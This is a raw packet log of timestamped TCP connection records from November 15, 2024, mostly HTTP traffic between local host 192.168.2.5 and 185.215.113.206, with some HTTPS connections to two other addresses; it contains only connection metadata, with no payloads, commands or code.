Nov 15, 2024 16:16:29.143924952 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.143935919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.143987894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.143990040 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144022942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144061089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144083977 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144083977 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144112110 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144114971 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144145966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144180059 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144212008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144243956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144244909 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144244909 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144244909 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144278049 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144280910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144315958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144347906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144360065 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144360065 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144360065 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144383907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144396067 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144421101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144454956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144464970 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144486904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144521952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144553900 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144587040 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144588947 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144588947 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144588947 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144588947 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144618988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144634008 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144651890 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144687891 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144716978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144721985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144757032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.144778013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144778013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.144804001 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.146248102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.146351099 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.162688971 CET	443	49823	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.163038015 CET	49823	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:29.163064003 CET	443	49823	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.163537025 CET	443	49823	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.164586067 CET	49823	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:29.164670944 CET	443	49823	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.170428991 CET	443	49824	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.170675993 CET	49824	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:29.170701027 CET	443	49824	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.173762083 CET	443	49822	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.174036026 CET	49822	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:29.174066067 CET	443	49822	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.174067974 CET	443	49824	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.174139023 CET	49824	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:29.174526930 CET	443	49822	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.178785086 CET	49824	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:29.178878069 CET	443	49824	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.179363966 CET	49822	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:29.179455042 CET	443	49822	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.207792044 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.207854033 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.207900047 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.207951069 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.207951069 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.207969904 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.208029032 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.219062090 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.219129086 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.219320059 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.219320059 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.219333887 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.219551086 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.225115061 CET	49823	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:29.225210905 CET	49824	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:29.225235939 CET	443	49824	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:29.291812897 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.291876078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.291879892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.291912079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.291927099 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.291965008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292004108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292052031 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292061090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292063951 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292115927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292145014 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292150974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292160988 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292202950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292243958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292243958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292253971 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292371988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292423010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292431116 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292457104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292484999 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292491913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292535067 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292567968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292601109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292619944 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292619944 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292619944 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292619944 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292634010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292674065 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292694092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292694092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292711973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292717934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292764902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292810917 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292810917 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292815924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292862892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292900085 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292901993 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292913914 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.292958021 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292958021 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.292989016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293078899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293088913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293128014 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293157101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293186903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293186903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293220997 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293250084 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293258905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293279886 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293294907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293329000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293365002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293379068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293379068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293432951 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293468952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293473959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293493032 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293504000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293540001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293591022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293626070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293654919 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293654919 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293654919 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293659925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293675900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293695927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293745041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293756962 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293756962 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293781996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293814898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293870926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293922901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293958902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.293977976 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293977976 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293977976 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.293992996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294027090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294034958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294034958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294060946 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294111967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294145107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294147968 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294147968 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294147968 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294181108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294230938 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294245958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294285059 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294291019 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294337034 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294352055 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294389009 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294410944 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294424057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294445992 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294459105 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294465065 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294492960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294527054 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294534922 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294581890 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294610023 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294625998 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294636011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294686079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294718981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294766903 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294790983 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294790983 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294790983 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294801950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294836044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294837952 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294837952 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294888020 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294897079 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294934034 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.294939041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.294972897 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295011997 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295011997 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295027018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295075893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295078993 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295131922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295166016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295195103 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295233965 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295233965 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295233965 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295244932 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295296907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295341969 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295371056 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295387983 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295408010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295433998 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295440912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295454979 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295489073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295492887 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295540094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295555115 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295577049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295610905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295638084 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295638084 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295644045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295655966 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295679092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295712948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295715094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295715094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295753002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295762062 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295789003 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295835018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295854092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295869112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295885086 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295902967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295922995 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.295938015 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.295969963 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296003103 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296036005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296071053 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296103954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296138048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296144962 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296144962 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296144962 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296144962 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296144962 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296144962 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296170950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296205997 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296238899 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296247005 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296247005 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296273947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296308041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296348095 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296364069 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296364069 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296364069 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296386957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296390057 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296400070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296428919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296436071 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296436071 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296462059 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296495914 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296503067 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296530962 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296576023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296578884 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296578884 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296610117 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296636105 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296657085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296694040 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296695948 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296696901 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296727896 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296740055 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296762943 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296819925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296864033 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296897888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296926975 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296926975 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296926975 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296926975 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296931028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296966076 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.296996117 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296996117 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.296998978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297013998 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297035933 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297060013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297070026 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297084093 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297103882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297136068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297169924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297198057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297229052 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297229052 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297229052 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297229052 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297230005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297266006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297298908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297333956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297348022 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297348022 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297348022 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297369003 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297373056 CET	49759	80	192.168.2.5	185.215.113.206
